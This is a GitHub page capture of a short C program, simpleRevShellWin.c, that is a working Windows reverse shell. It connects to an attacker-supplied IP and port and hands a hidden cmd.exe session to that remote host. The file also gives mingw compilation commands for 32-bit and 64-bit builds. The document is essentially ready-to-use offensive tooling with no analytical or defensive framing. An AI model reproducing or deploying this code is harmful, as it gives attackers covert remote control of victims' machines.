-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsimpleRevShellWin.c
54 lines (42 loc) · 1.21 KB
/
simpleRevShellWin.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*
DESCRIPTION
Simple reverse shell for windows
COMPILATION
x86_64-w64-mingw32-g++ -static -o rev simpleRevShellWin.c -lws2_32
i686-w64-mingw32-g++ -static -o rev32 simpleRevShellWin.c -lws2_32
AUTHOR
DannyDB
*/
#include <winsock2.h>
#include <io.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
if( argc != 3 ){
printf("\n [>] Usage: rev.exe <ip> <port>\n");
return 1;
}
char *addr = strdup(argv[1]);
int port = atoi(argv[2]);
WSADATA wsaData;
WSAStartup(MAKEWORD(2 ,2), &wsaData);
struct sockaddr_in sa;
SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = inet_addr(addr);
if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
printf("\n [!] ERROR: failed to connect\n");
return (1);
}
STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES);
sinfo.hStdInput = (HANDLE)sockt;
sinfo.hStdOutput = (HANDLE)sockt;
sinfo.hStdError = (HANDLE)sockt;
PROCESS_INFORMATION pinfo;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);
return (0);
}